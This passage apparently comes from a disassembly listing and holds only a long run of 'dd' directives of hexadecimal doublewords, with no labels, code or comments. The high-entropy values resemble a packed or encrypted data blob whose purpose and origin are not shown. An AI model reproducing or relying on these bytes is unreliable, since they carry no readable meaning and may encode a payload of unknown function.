		dd 747D9FFAh, 41B112BDh, 3ECD01D6h, 8BC85EAEh, 0E0902814h
		dd 0B0816D29h, 77CB9B60h, 0C0F78269h, 4585733h,	0E2C15167h
		dd 0B38EC203h, 360B300Ah, 91BD90B1h, 6E472455h,	9EA00534h
		dd 6D6AC17Bh, 922979Dh,	8B691604h, 57FBBB00h, 3F984CE2h
		dd 0EA136102h, 54DA01D9h, 0D18969AAh, 4741EC83h, 0FB71D604h
		dd 4194F345h, 0C0FCDCFAh, 752D5AC9h, 4AB7E9F8h,	60E275EFh
		dd 0DBD53055h, 1E90046Fh, 0AE30428Fh, 0E9A13CBCh, 0BF139FD6h
		dd 833EF7C5h, 0FC598C3h, 222EE7F1h, 8F021F0Bh, 8ED91B15h
		dd 57EE2D01h, 102B782Eh, 5F2507E9h, 4547DF5Eh, 817C07F0h
		dd 49D50ECEh, 0F6C04BBDh, 27FA0D51h, 22E7E917h,	537A49h
		dd 0C6807661h, 0F78825AEh, 0F8F68C14h, 668C5B62h, 9068D24Dh
		dd 0A7595FAh, 930090C6h, 53655B22h, 0F53F2FE9h,	0DAEC337Dh
		dd 6E8BFD2Eh, 77E955DCh, 5FEA80C0h, 236F0FB4h, 0D5FED7EEh
		dd 1CB5B7BEh, 625F6306h, 314FE601h, 0D2703679h,	841383FDh
		dd 9BB698A7h, 0F9BB5A7Bh, 6B2551D5h, 0C9DFCB5h,	22974994h
		dd 8EAA8DDh, 9BEBE904h,	3936AD90h, 0F6585A19h, 0CCCB3E76h
		dd 0D166A32Fh, 11FD013Dh, 0BF79E778h, 0A30CF6F1h, 0A55BD6D6h
		dd 0AD7CB5B6h, 50582DBAh, 17B97F42h, 12077665h,	2C778BBAh
		dd 700CBAF2h, 9D90C23h,	89DBB36Ch, 9CDB98DFh, 685580A9h
		dd 8D633718h, 829959BEh, 4475E0DDh, 0C6FE807Ch,	4C2CEE4h
		dd 7707EEC0h, 80EB4B83h, 0A9876DBBh, 0BCB3190Eh, 264A104Bh
		dd 0E8715435h, 35831071h, 0B56EC451h, 7F8EC96h,	5A09D697h
		dd 0A97D2642h, 25C85663h, 56946A5Fh, 6912B844h,	0EFD78534h
		dd 4101B3F0h, 0C5326044h, 0BB2F7B45h, 0F889D977h, 0A8D3B363h
		dd 0BAECF59Fh, 0CB021C1Ah, 2DE06D42h, 0ABC3EB98h, 0A371ABC9h
		dd 66E1B00Fh, 0A5D24C52h, 3CEC103h, 0F1F03EBFh,	0A6057156h
		dd 0EA90E931h, 5E284EA3h, 479841C0h, 8E60730Bh,	10EB0F3Fh
		dd 0FC4AE654h, 7EC303B3h, 0F0C0DBF6h, 956C6806h, 0E4627174h
		dd 5170F2Ch, 8CDD31BAh,	674A65F0h, 8A648EE2h, 2C87042Bh
		dd 17FBF3AFh, 52C1D560h, 0AE594481h, 95D3D2F8h,	1FE7D8FCh
		dd 40A93AB9h, 5F315B9Dh, 7F8AF1CEh, 0E2D29F59h,	0CB49E93Fh
		dd 2DF5D0CCh, 68783158h, 2F3F02B1h, 0F7A5E8B2h,	0E550B7B5h
		dd 5FD7F5A0h, 75086727h, 6040E26h, 0ABB5025Fh, 1AF580E7h
		dd 40609DC5h, 0BAC75653h, 2EA42465h, 0CDEA90BBh, 476E6CB9h
		dd 5177C0F2h, 25E97B9Bh, 6369080Ah, 5098FB01h, 147E9A24h
		dd 97420934h, 0EAA2D4EAh, 0FEA5A3A9h, 0D14A57A3h, 2F12CD10h
		dd 1CAAC28h, 11A37157h,	7B3DDDE9h, 0DC1AEA93h, 0CA04EF12h
		dd 0DCBF1749h, 52B209EEh, 0E732F204h, 9D802633h, 130D34D8h
		dd 82AAE94Ah, 4A5FBE0Ah, 0A515AFFBh, 9CFE6733h,	278410FCh
		dd 4CC3D457h, 892D603Eh, 5D653B3Dh, 107D688h, 51685F5Ah
		dd 0C1BA6858h, 35FF319Ah, 0A4C0C460h, 675297FDh, 0BDF9525Bh
		dd 3F250D81h, 40B7320Ah, 24C0308h, 0F730C259h, 0DD0B09FEh
		dd 75104257h, 0C20978D6h
		dd 961BCEDCh, 68F1471Ah, 0CAFF5A13h, 5E3CC942h,	0B0D5255Ch
		dd 806DB3BEh, 33B6BB68h, 0E11C552Dh, 27378008h,	0C095267h
		dd 0B8B4874h, 5672A1D4h, 0F5C9C689h, 0C3B9B22Bh, 84E94558h
		dd 0EA0351FDh, 4BFB5F7Dh, 9DE57FD9h, 55D7CBAFh,	0C4B80180h
		dd 75CD132Eh, 18158121h, 0BE656E9Eh, 28DE6403h,	50AF9450h
		dd 59090881h, 73752C87h, 6F079A44h, 13229C40h, 0DA029A25h
		dd 0D5D65098h, 2FF24120h, 534A04AFh, 9E68039Ch,	0A3AB851Eh
		dd 5368C082h, 2E48BC5Fh, 812BF75Bh, 0C462B070h,	6A1EC9E9h
		dd 0C19478ACh, 433A0493h, 962F1C63h, 0C7E912A3h, 0ACCCAFCFh
		dd 4A94F651h, 0E871D90Ah, 499FFA4Bh, 0F67C8C03h, 0FCDBBB4Eh
		dd 0F95B264Ch, 79BE4A47h, 0DF22BCCh, 0E422E24Eh, 0E228B8EFh
		dd 6419C92Ah, 0AF02BC93h, 9F170DCAh, 8396A203h,	851D7EE9h
		dd 2FFAE3BBh, 0F0925E50h, 1B73685Ch, 9925D6ACh,	0F234D43Dh
		dd 7BAA6913h, 56486570h, 0D0CA25C3h, 16F69763h,	708B342h
		dd 2A7769D0h, 7A09EF18h, 2064B41h, 4757BB7Ch, 0A9FF1AA0h
		dd 27050B11h, 0DB73CF56h, 20BBADEDh, 404A68B3h,	9F545EA9h
		dd 0F15AE9FDh, 0B0C7785Bh, 1E330F4Fh, 97FC32ADh, 25B3A69Ch
		dd 1CB15D0Ch, 163C6C08h, 461250B6h, 7F49FD87h, 69E88D87h
		dd 73942B02h, 878F1C6h,	93BF4791h, 13A549B4h, 5612FB2Ah
		dd 55B75B09h, 78A536FBh, 7C2D0046h, 0CB814B1Bh,	0B12864A2h
		dd 24B8636h, 697590FBh,	0F4C13FFDh, 6D8FE9DFh, 68853C62h
		dd 6C30EAB6h, 7C8CB8h, 590D7BDFh, 0E970AD46h, 0E8A83425h
		dd 3D5148BEh, 1194491Bh, 27040BDFh, 0FB1E3D7Bh,	9EA20716h
		dd 0FBD24812h, 0CB4ACA8Fh, 9EFD4FE5h, 0DB510287h, 48EF8402h
		dd 0FB2C99B0h, 1D8F780h, 49101A05h, 0F8C20134h,	75AC71ACh
		dd 0F6D2E1A0h, 31755C12h, 3A9691FEh, 69CD7B4Ch,	9653A66Bh
		dd 11E05EEFh, 48EF2F4Dh, 0BFF729D6h, 0B98F105Eh, 2F849F9h
		dd 77AB1321h, 0BC895867h, 933E573h, 0BDE8E5EEh,	15E812EFh
		dd 9AD714Eh, 6C03513Dh,	20B0E9D1h, 2AEB8905h, 0AE82903Eh
		dd 0D3E62F3h, 0E92B1C08h, 5212796h, 0D31201B8h,	83A2A1EEh
		dd 9DE9539Bh, 0C17B00F4h, 0C8310EE8h, 0C296850h, 5881D905h
		dd 182FE95Dh, 5EECBD6Fh, 0DAE8ADB1h, 0DDD8C50Bh, 8460D2FEh
		dd 4FBE9CFEh, 5F3BE4ADh, 0EADE187h, 0AFC096Bh, 184E1C89h
		dd 12C80FB6h, 8C695468h, 0D0600D76h, 4A76B95Ah,	0D914C406h
		dd 33CCAE7Dh, 30F240EEh, 34EEF04Fh, 3985BFAEh, 62CCAD09h
		dd 0D6CAD5BAh, 448EEADFh, 0E4C22F0Bh, 0D49F4824h, 8272BB26h
		dd 22C5EA0h, 0D11FDFBAh, 56EBC95Fh, 800B7C20h, 0EF658859h
		dd 0B4A5BEDCh, 957E14FCh, 0EF43F9FEh, 7B6354D1h, 0DFC612B3h
		dd 40F50270h, 0AEC0C109h, 2D4A5BD8h, 0ABFD84FBh, 0F8F67F82h
		dd 11C0F997h, 0BC527A32h, 0EF1434A5h, 0B26A34A1h, 9FEC4F1Dh
		dd 80C7B4A4h, 2D683940h, 9B985B0Eh, 4C83CF53h, 4F106131h
		dd 4F583F06h, 0E90A0DDBh, 80B4EAB8h, 5F08247Ch,	47278F5Eh
		dd 3F765640h, 0C08A0E1Dh, 7230A9BAh, 2331E916h,	26CF8B2Ch
		dd 0F05EB273h, 465E15D9h, 9E0C5C81h, 6F35F310h,	71017A5Eh
		dd 33676D3Dh, 0A276C52Fh, 5824D3B9h, 0E67A58A8h, 9A509FDCh
		dd 263016E6h, 97C50C7Eh, 27757FFDh, 24575A5Dh, 57F8D0ABh
		dd 80A7BB1Fh, 0E3817358h, 54093994h, 54D14371h,	0FF893AD9h
		dd 220230F2h, 9CF6E125h, 0DCE157CBh, 0FEA6F2ACh, 0DA09E52Ch
		dd 0F433107Eh, 44F56BF5h, 9D0350FDh, 73081751h,	6BB6F01Ah
		dd 0CDA3FE4Ah, 874F1E7Dh, 77762D38h, 7867AB80h,	60EA835Dh
		dd 0B95107FFh, 3425357Eh, 56CDE61h, 0F414FE72h,	563BEAE6h
		dd 9A8C278Eh, 0C159751Eh, 20CC4142h, 5E2065F2h,	94FA624Eh
		dd 0B5B2060Bh, 370C0C06h, 2A717609h, 0B4391269h, 0B2E4FAB3h
		dd 93251B6Bh, 70882AF8h, 8EDA4F15h, 5F080B8Ch, 555B92C4h
		dd 0DC1460BFh, 0C681FEE5h, 0E509AE2Ah, 0A7367F5Fh, 7E9B5C48h
		dd 0E2EF05E7h, 0F1AE84EDh, 922EE7FEh, 0B050AF30h, 0D0F630C0h
		dd 2C980C04h, 0F5200625h, 3069F501h, 97C371DEh,	60E95AABh
		dd 16021C04h, 6E0C815Dh, 3BBC7B6Ch, 0D4A2AAE4h,	0E068E9D3h
		dd 99464DE9h, 9F250142h, 0F0347935h, 0A1BDFC5Bh, 28778D5Dh
		dd 0EA10C06Ah, 3C76D259h, 5E4AF600h, 0F2E90C85h, 52EC077h
		dd 53EC0AB9h, 0FFA6295h, 17C99407h, 28AF2E14h, 540C57E6h
		dd 428130E9h, 44F30980h, 9AD15366h, 46B55180h, 0F6804FB4h
		dd 0D6E913AAh, 88EF28Dh, 3E7C8668h, 1ABD0999h, 5AD4A640h
		dd 0A9F9081Eh, 68479D64h, 6BD86BA4h, 25C29A1Bh,	0AF7ECE30h
		dd 0E694EE18h, 9ABBFECCh, 9B9055Ch, 85444B64h, 98BD4753h
		dd 802A646Ch, 94592DD6h, 53C0185Ah, 2812C305h, 9FE72E57h
		dd 68767D91h, 28A74B00h, 0E5AAE48h, 682F5D08h, 2AC619E9h
		dd 596B1605h, 0C8EE5643h, 654EE92Fh, 7BC5DAF4h,	1D4925A8h
		dd 1208DEA8h, 0EACABF59h, 2C789750h, 9D3E815h, 3B52C036h
		dd 0C1835F17h, 0F3BBB712h, 15E9C66Dh, 8CBF0733h, 0A43A0257h
		dd 5CCBE029h, 73526815h, 0AD4910CDh, 0C3805A04h, 0D7C86B9h
		dd 0D668CD09h, 7C30DF60h, 3A972BC8h, 28A9F5DEh,	0E97890F4h
		dd 0FEF225DAh, 0D629CFB0h, 874F64FAh, 2C2B228h,	5E804BACh
		dd 2A62F201h, 0C5FD0809h, 51522D62h, 4DFBD830h,	3B4D93EDh
		dd 0F50E6DAFh, 7DCF12BAh, 28CECD81h, 98C07FB4h,	1358B6C2h
		dd 5E98905h, 0EE557D8Eh, 32D20B77h, 0B821F51Ah,	70343963h
		dd 0F550CE4Ch, 111E3F16h, 27CC4901h, 2C6C310h, 0B705AA0Bh
		dd 0C6DEF731h, 17BEA945h, 2A68AEB5h, 47C2404Ch,	5764A7ECh
		dd 44FFC32Fh, 0C1FB0165h, 5D38E84h, 0F1F3D4BBh,	530E205Bh
		dd 2AE63713h, 18822BFh,	6EC80E60h, 7047A231h, 0BDED57E1h
		dd 0E69E4FF7h, 5D541AE5h, 3A607D5Bh, 6EB7DF7Bh,	9B1095C4h
		dd 6CBFE368h, 516B20C1h, 5FFD3116h, 0C0E094BBh,	0E87B6325h
		dd 0AB424341h, 0BED429FDh, 127B2E59h, 7ACA8D6h,	1257263h
		dd 6891CF17h, 0A36E6999h, 0B7C78A72h, 2398542h,	407EC309h
		dd 9FBCF849h, 38714074h, 5E2009DFh, 0BF62668h, 3BE786Bh
		dd 28120BE4h, 0B4FE0BAh, 0DA6814C3h, 60185A42h,	595F44D8h
		dd 54B75753h, 287DD91Dh, 0C2BC5E42h, 0A325E9ACh, 0D111331Eh
		dd 0D9522EE4h, 5D9F42EAh, 0E09AC710h, 3A698AD3h, 0AB6FC42Bh
		dd 679799FDh, 0B2E6F439h, 68500FE9h, 8060F39Dh,	4AD55E9Eh
		dd 1181C10Ah, 0E45F0269h, 0B98E0FB1h, 0CFC4BBACh, 8132BE6Eh
		dd 0B1274E3h, 421214F6h, 480924DCh, 7C947782h, 5068570Ah
		dd 27BEB458h, 901244FCh, 0D3B092Fh, 1A803953h, 1B363DEBh
		dd 0F602ABB8h, 0E913252Bh, 4E9E58E5h, 0B451EC31h, 680934BCh
		dd 7D996249h, 8698A8F7h, 0FECAA614h, 70582560h,	57500EFCh
		dd 0E4CE81BFh, 0CFF701FDh, 6056B03Dh, 0C1A8DF2Fh, 7418D3EBh
		dd 3E0C7286h, 508C2559h, 8831CF2h, 0F2140C45h, 986BD05Dh
		dd 203A213Ch, 744CDDA7h, 5E8F49Dh, 0AE54FFE9h, 0BD30D169h
		dd 6F0181DFh, 23848BBDh, 0C9550E09h, 5327E050h,	9FFEFAB3h
		dd 8B73E370h, 287BC50Fh, 0B6ED0EDDh, 6E763DEFh,	6772FAB7h
		dd 7CC30628h, 0D582846Ah, 8EDC3C89h, 35050C30h,	133C78CCh
		dd 0E2C78932h, 0BCC0DE0Ah, 0E97F7B41h, 24E54EADh, 0EFBF072Bh
		dd 12B2E3D0h, 0ECF52DFAh, 113828BBh, 32619DB6h,	0B85FD678h
		dd 4EF468A3h, 0A8663371h
		dd 24BFA84h, 2C5C7475h,	84F15BEDh, 2CB22A96h, 8D2EF44Fh
		dd 0B42BC841h, 82167548h, 0ABE1CBBh, 4B5510Bh, 98FF97DAh
		dd 0E15F892Bh, 0A24EB9F7h, 43B9D39Bh, 8BDC0496h, 0B98EAA3Ch
		dd 0BD90EE18h, 187960C2h, 450C85E7h, 80BADD30h,	0B0C134EEh
		dd 33A0935Bh, 0FEDE2DB8h, 5450E713h, 670E7175h,	146876E5h
		dd 3288102Fh, 0F7D68706h, 419808D2h, 0BB53071Eh, 0AB1745CEh
		dd 63238550h, 0E8CECDAFh, 0AA1C6855h, 44664E6Ch, 325507C9h
		dd 0C069A582h, 2D4AECE5h, 4B583C14h, 0BE3DE509h, 61B76A45h
		dd 0F22E8F98h, 224D842Bh, 7C702D00h, 2BF27B0h, 91920DBh
		dd 0DF5A25DAh, 5D5CE682h, 230A5845h, 0B70385D9h, 0C9FD2877h
		dd 37721CFCh, 0A13DA903h, 84EC2925h, 60813B8h, 95B3A47Fh
		dd 0D53BDD77h, 0E79DF885h, 0E90DB095h, 9DC0F598h, 0F8F381D3h
		dd 1172760h, 0C3812DD4h, 46C62E44h, 0E93CF47Fh,	5F7B942Dh
		dd 0CA9FE896h, 1F7977AFh, 908516E9h, 7FF009A7h,	0A57D1DD3h
		dd 0E1FC89D9h, 1A784627h, 3C021A09h, 2654502Ch,	7003DD29h
		dd 5C04A7C5h, 0B8501A5Bh, 0E92A90AFh, 18B5DA5Ah, 4EC6F360h
		dd 1274A6FEh, 0F20DCB88h, 1E201AF0h, 98F3E0C6h,	76F4EB28h
		dd 0C90BB6C2h, 92E77357h, 4A43B920h, 0A2BF0FA0h, 44FC2234h
		dd 0F3667DB1h, 21BB4063h, 0CAD0F9F1h, 180DD948h, 0C194527h
		dd 7625658Bh, 8E9280Bh,	14060C34h, 4E574E9h, 61052268h
		dd 0D38EEB25h, 6F7ECE04h, 1C5AC22Ah, 5914E9DEh,	6590F4E5h
		dd 16D46A2Eh, 854EE97Ch, 7F4182E3h, 0FF26D722h,	0D5FC6044h
		dd 0DE1AA427h, 2596214Fh, 2E6C75Ah, 429AF99Fh, 927441ACh
		dd 5F337F4Bh, 52BD51E0h, 0EB0304FDh, 8C4B0C11h,	0E90BEBECh
		dd 0EDA9DBC3h, 4B977975h, 3F13F5FCh, 5B4B4F0h, 66E3282Ch
		dd 19FDA058h, 6E6C002h,	557DB050h, 0C055A0E2h, 0C4F66AA7h
		dd 23E193Ch, 0F545A668h, 0EC316A47h, 146B03E9h,	68938200h
		dd 9C405C8Ah, 51D2C054h, 8C5A3B68h, 8107CCB0h, 9252A4C9h
		dd 0DDE9C1BEh, 749FC723h, 6425C1C8h, 0D47EC25Fh, 0BA012D5Ah
		dd 23D8356Ah, 0F13E5B93h, 6C84C141h, 0DDB9D325h, 0FD29BF5Eh
		dd 0E059AC6Ah, 17697068h, 15F4DACh, 0C013EF32h,	510C8032h
		dd 0E9150738h, 340E65BAh, 769ED46h, 69F0C0C6h, 165D549h
		dd 0E518D5AFh, 0F54EE2E9h, 5B27AA00h, 1C561A7Dh, 963152BEh
		dd 0BD7D2C66h, 755C5E12h, 71CD7E00h, 9018797Ch,	6D1F0B0Bh
		dd 8CDD40BAh, 38E12C9h,	545CF17h, 80EC523Eh, 42EDB910h
		dd 762C7F25h, 98CB8881h, 0B8685300h, 99645735h,	50E3C02Dh
		dd 4798B62Fh, 6D5DF303h, 24B3C17h, 4C7CA40Eh, 906A8975h
		dd 79D7926Ah, 8CDBBCE6h, 5ABCAEBDh, 590FA820h, 6665E15Bh
		dd 978CB49Ah, 185B84D8h, 0EC2B8AE1h, 0FFD8A244h, 0C1A96789h
		dd 50A876Dh, 0F9899F0Ah, 6E385D5Fh, 42B7D468h, 37DB757Dh
		dd 0BCE4EF97h, 7CDF4B29h, 0E440252Ch, 1675955Dh, 0C33118E3h
		dd 0C436BA8Fh, 24EFFAD2h, 0BAB7AFA2h, 57736813h, 192AEE8Dh
		dd 9007E909h, 0DC9F9A57h, 6851C9E2h, 0A23E75A5h, 0B4644C97h
		dd 93E9C209h, 0ED077BC4h, 2876570Fh, 0E8EBBEB4h, 16D247E6h
		dd 3A3629F8h, 68870B88h, 3A467A4Ch, 0F3E6932Fh,	53E961D6h
		dd 0BF437F3Eh, 0D107EDC1h, 9D3E1BDCh, 44C5EC70h, 0EAE2F697h
		dd 79890232h, 0B5C076CCh, 0AC792686h, 5AD73112h, 0E5881DAEh
		dd 0DA441C54h, 0A24FA9F8h, 7F5A7A0Fh, 55893C1h,	4C2CEA2Bh
		dd 0C65F82F0h, 0CC4BD2Dh, 4916DB5Fh, 5A508ABEh,	842728BBh
		dd 0B24CD4Fh, 94FEA185h, 54C7AE6Bh, 0AD148574h,	0A017F258h
		dd 0B047D8E6h, 312EB69h, 2D98B2F2h, 225FA412h, 82A30442h
		dd 0DF25D1AEh, 0AD411739h, 3CB57C3Dh, 3E0FA85Fh, 9701BF5Eh
		dd 2562A1BDh, 5E70585Dh, 0B029F259h, 2DC8BF0Fh,	3EFA1068h
		dd 1900994Ah, 2A141935h, 4FC2F462h, 0C829BB2Dh,	0B6353061h
		dd 0ADB3B83Fh, 0C8F9DD7Bh, 61984C53h, 309CC10Fh, 5740FE9Fh
		dd 76395DBFh, 216907Bh,	612256B0h, 60DED3E9h, 9793511Dh
		dd 2D5C9280h, 0E6711728h, 2F88B842h, 0D174408Dh, 83EDBDE2h
		dd 7A295E2Fh, 9E2305Ah,	0B47E4C28h, 7D6B3026h, 58E8C2C0h
		dd 0B5544E79h, 0C20804B7h, 9470C6BBh, 92D9293Bh, 0DCEA4C48h
		dd 689DD46Eh, 25685E14h, 0ED7106FBh, 8F529C83h,	1D6A7F1Bh
		dd 96E470ADh, 1DC6AEEEh, 2974B50Ch, 0CA570125h,	0AB3BFF3Dh
		dd 1062C62Ch, 9070B00Ch, 290A40B0h, 0DD7A2995h,	699FA168h
		dd 69BD7E9Dh, 0DD014A5Dh, 4C06E18Fh, 0BB001038h, 379E199Bh
		dd 3F1E98B8h, 4EF44595h, 0A19F41BDh, 0ED69B551h, 305734C4h
		dd 20D1F34Ch, 9294A90h,	75FA51FBh, 2BCEE207h, 6AB34757h
		dd 0AC1626CDh, 70535996h, 882C5992h, 0BE0B62C3h, 0B89CD7BCh
		dd 3C685C13h, 593E3BEh,	7BD708F4h, 8CFED2C4h, 0E92549BFh
		dd 0BD154017h, 870D252Eh, 7C40E8F8h, 1ED3980h, 6895F587h
		dd 8549EAE6h, 0AAEC8850h, 0A9CFDFC1h, 3987FA04h, 8BEF6897h
		dd 0E5AD8FB4h, 68F453A6h, 7D3F24B0h, 0CC0B0CB4h, 910F68EEh
		dd 44489D26h, 46A29945h, 7518F040h, 3C264843h, 0A2CCC307h
		dd 9E8AF9FDh, 1F5B05AAh, 0BDD4BEC7h, 0A1D691C0h, 0E9910BA9h
		dd 4146E611h, 0C9E47A4Bh, 7D7209CFh, 4CFC52A2h,	9C4F470Ch
		dd 0FEFD047Ch, 0A8F72977h, 0C8C4D64Bh, 5DE3B3ABh, 0B3AF932Ch
		dd 7BF12F12h, 0B6DD2D2Fh, 0FE862A6Fh, 38B22D84h, 0C35AB098h
		dd 49F01AD3h, 0C1226349h, 0DB8188EBh, 0BF807017h, 7D1C7702h
		dd 0E6583168h, 0A45F4E28h, 4040FDE7h, 845F952Dh, 0FCAA0577h
		dd 73247F81h, 0F19246FBh, 32CFE1EAh, 41A41547h,	18B740ECh
		dd 7D260918h, 3B3DB42Ah, 0C9011EF8h, 71581BB3h,	3FE68141h
		dd 8995ED19h, 3852FE3Ah, 63D53AFh, 0C09CB62h, 4BD9E495h
		dd 5B67F95Bh, 0E9B738FAh, 0FFA58037h, 1C21BDB1h, 9BC05CA7h
		dd 50816EEEh, 8181C360h, 70A46E05h, 6BE85829h, 564E9A20h
		dd 690912BCh, 69F26A48h, 0EC75D612h, 0C387BB8h,	53F0A48Fh
		dd 0FA5BE0B4h, 1E6AD619h, 0AB8904D6h, 0B6D120B4h, 0BB5113BDh
		dd 0A82642E3h, 62D8123h, 3E7C7140h, 70489F1h, 462FA902h
		dd 0E9A38030h, 4F297982h, 40BAB54Eh, 0D163B312h, 1D94C8F6h
		dd 611508CFh, 802F0FE9h, 4E3C06Ch, 0E62ECB80h, 296D7EC3h
		dd 2FAF57E7h, 1F3E6F59h, 0DE3E507Bh, 40E83F38h,	0B94C2CAFh
		dd 5CA9346Dh, 57E40E82h, 2AA7B573h, 0E9847608h,	0BE98BC2Ah
		dd 44DB5A28h, 0EEEFD4ADh, 0ECE3E227h, 5BACC5BEh, 0A3C156DFh
		dd 0E9550AA8h, 7DA5A7B3h, 0C7FD440Bh, 0A5992781h, 763B09EBh
		dd 0FE5E52A6h, 3013DE13h, 863F50BEh, 3E14AF00h,	6857552Ah
		dd 8538DC09h, 2F914C63h, 9F56739Ah, 0F8224B53h,	969BE190h
		dd 0FA8E8504h, 56AF1224h, 68B40333h, 2F186C9Dh,	99AC7BFh
		dd 3C8B25FDh, 893D47F5h, 905703BCh, 4FC66894h, 4A30CA70h
		dd 0D616EEA9h, 9FEDE37Fh, 634B9396h, 864275BBh,	0F5784862h
		dd 70507695h, 67951C88h, 3D2927F0h, 0D590B56h, 803B5D6Fh
		dd 7040BEBh, 47C35A51h,	857DD368h, 0B152E2AAh, 9544C25Eh
		dd 8015D8FBh, 0FE6DF239h, 5E20F928h, 16B435A3h,	9E8E09EEh
		dd 0F8E5E611h, 0E8B53037h, 427826h, 88BA36BEh, 0E96039BCh
		dd 0B7216232h, 815055EFh, 8E92E5F7h, 2F76C117h,	2F1D49Bh
		dd 504D6384h, 3CF70709h, 7831E904h, 5BDD83EBh, 10D1BC2Eh
		dd 660434F6h, 0AFE1B753h
		dd 9969BBCh, 297DF5FFh,	924E7D64h, 7D63B82Fh, 92DE8027h
		dd 65811F3Bh, 0C6220724h, 0A36407Dh, 4A793247h,	21C09FA2h
		dd 2C35E93Fh, 0FB04304Bh, 59097283h, 5E4F54D0h,	0EBCF644Dh
		dd 12F3812Ah, 0E50004BDh, 9287731h, 455826C5h, 6638046Bh
		dd 8ABBC10Ch, 0B7A33ADEh, 37FAD210h, 1594C758h,	5B275FBCh
		dd 2CC2F0F4h, 3BF2A337h, 92FF67DBh, 1F4A37F7h, 96EC284h
		dd 25AAF5B8h, 0C87E27DFh, 0E984299Dh, 0E3FFAA2Bh, 7194167Dh
		dd 0BA4B9EDAh, 77272E32h, 9C96BA0Bh, 8E205E92h,	3800A0BCh
		dd 6AAA2743h, 8A288F5h,	0F843C326h, 0A0B16383h,	1AD15471h
		dd 0E65291Eh, 56720682h, 0F16048EFh, 49591C28h,	53580007h
		dd 80BF574Dh, 189245Dh,	9E61F87h, 4D0062ABh, 0D3E7D61Dh
		dd 4C59315Ch, 2D430B67h, 0D8615FD0h, 5B36741Fh,	0BA22A2F1h
		dd 4552409Ch, 0ABA0210h, 0D3500673h, 4D42AF14h,	270830CEh
		dd 0F092E780h, 88D354B2h, 0AB1D09C2h, 26D95223h, 0B91CA603h
		dd 9150CD6Ch, 5BE5808h,	6D7760D6h, 0FD5A11E8h, 3BCA8587h
		dd 61ECA590h, 31472C8Ah, 25C5E811h, 0E75F0AC2h,	0BEF92544h
		dd 201ECE62h, 1023ACEEh, 0C61C9390h, 5992B96Bh,	12A718FFh
		dd 0B12D13DDh, 2FA2504Eh, 6FD3DAA9h, 0A6AE5C92h, 4DB84B15h
		dd 847CF203h, 6BB15F08h, 1A9581Dh, 0E0A81002h, 0FF804BE9h
		dd 7D3B3864h, 799FF8D1h, 11C44F93h, 9CA6AE1Eh, 0A047E985h
		dd 892D66A9h, 0B40294F2h, 2CE924BEh, 2DFE4908h,	250F4C25h
		dd 0D5F1BC40h, 67082F88h, 45F49256h, 78628A54h,	0E78100D3h
		dd 703B73ACh, 7EF70519h, 68C07651h, 98CD2AC7h, 555FE4C3h
		dd 43FA2F2h, 64162768h,	4EF159C8h, 787FE2BAh, 68DA64E7h
		dd 0AD4C8737h, 806360CBh, 0E84D4BF3h, 0FB267BCAh, 0BB649ABDh
		dd 34AAE8AEh, 53802001h, 5EEC3F40h, 81A0E00Ch, 2726C900h
		dd 89E93979h, 0A154D7FAh, 10A52067h, 7023D12h, 81038FECh
		dd 1B69D0CEh, 90EE0C03h, 0E0548B1Dh, 133D6DF6h,	0FA2D4592h
		dd 0D8E91CC0h, 6A5FBE49h, 289E452h, 0E6BA67E9h,	8281518Dh
		dd 0BA91953Bh, 703939F4h, 31D5953Dh, 0BD3B59BDh, 0D7E9C2AAh
		dd 83074ABFh, 1E33ABC9h, 0AFFACE0Bh, 80350CD6h,	1FE582AAh
		dd 0D50BDD09h, 112CA3DDh, 884C0905h, 40505AF1h,	4ED91F20h
		dd 0C52A858h, 7315AF68h, 256D9CEAh, 0EF4A2E7Ch,	2B4B1102h
		dd 0B6BFD10h, 7B318CB0h, 940BEDECh, 0FF21D950h,	9CA48102h
		dd 1489F4D4h, 0C1EFE9DAh, 7EEBF92Fh, 12B4E67Ch,	3D3DC54Bh
		dd 89FADD2Fh, 0A70BAE90h, 364FD0Dh, 46C01E1Ch, 520095A2h
		dd 19ABD55h, 4A9D1BF2h,	9D87FD1h, 4F555A5Ch, 0EE01EF04h
		dd 80E5B2EEh, 0A13164E6h, 4C58B749h, 0EDE3E916h, 578955F2h
		dd 0E9185B5Dh, 0C71832B8h, 0ACA40082h, 2758BD63h, 645FDE87h
		dd 0DE509755h, 34116D4h, 6B0790Fh, 81A8D4E9h, 0D1015947h
		dd 79E94FEFh, 2DB250C6h, 5D16A7FBh, 0FFF450A5h,	0C04841ACh
		dd 0EA0580E2h, 0DC2C5865h, 66F6C2FFh, 0FF178B77h, 23A54C47h
		dd 1C7DAE00h, 5C85C22Bh, 0D0895780h, 14C6884h, 242ECB7h
		dd 5EB5B850h, 0BD56E95h, 1D657019h, 305433A0h, 63250814h
		dd 200C5A03h, 0CF426635h, 57C20102h, 562B6A90h,	0B56219B6h
		dd 0AA2168B8h, 0D0098836h, 0EE5EB280h, 13BB9CF9h, 7406EB5Dh
		dd 0FC11BF5Ah, 0E37C4FA0h, 0C4C94A00h, 970BADF8h, 0B3825A59h
		dd 70C208FEh, 0A7F020DFh, 75F52927h, 40480DB3h,	0B8B53DAAh
		dd 0F6866211h, 9990AFFh, 0B185F287h, 332CBA8Bh,	0AF734AC9h
		dd 527EE731h, 0BA191205h, 9C2D4340h, 1426E822h,	705F029h
		dd 0A75F5E1Fh, 5714055Dh, 9B2101EAh, 43599378h,	2D8840BAh
		dd 6E055595h, 7D5B6802h, 0CB1F9C44h, 92B137BBh,	0FDDC06F7h
		dd 0B05BD862h, 5AB36898h, 0C4E1ED54h, 7DD54EE9h, 770BB50Eh
		dd 0ACD929EAh, 59007D4Ah, 0E93CA67Ah, 7FFC9A68h, 0B8D15A5Eh
		dd 1338B73Ah, 0D39170C8h, 742F68E0h, 1BE9957h, 2AE95210h
		dd 6AA3DF4Eh, 3490C792h, 4B3ED7EEh, 0D4AC233h, 4A023ABFh
		dd 3EC8CAFBh, 1C9C0FBBh, 27DE2ADDh, 22629F74h, 4EFF0F5h
		dd 58221DF2h, 0FC54EAB5h, 2E42567h, 0DF8F6443h,	4A5F361h
		dd 53BCEC81h, 99768902h, 0E541DDA8h, 860EBC6Eh,	77299E1Eh
		dd 96BBECFEh, 3B7AA85Fh, 5B38DA30h, 4296D73Fh, 68C431B2h
		dd 0F155C280h, 1753C612h, 0B935A4Dh, 9161D068h,	0B22A6449h
		dd 0F7E1C4C7h, 0AA4A7CF9h, 0C5EB60C4h, 5CD6FED5h, 6BDABF1Ah
		dd 20D07095h, 40958488h, 503E7260h, 6234FCCCh, 5FFBAD36h
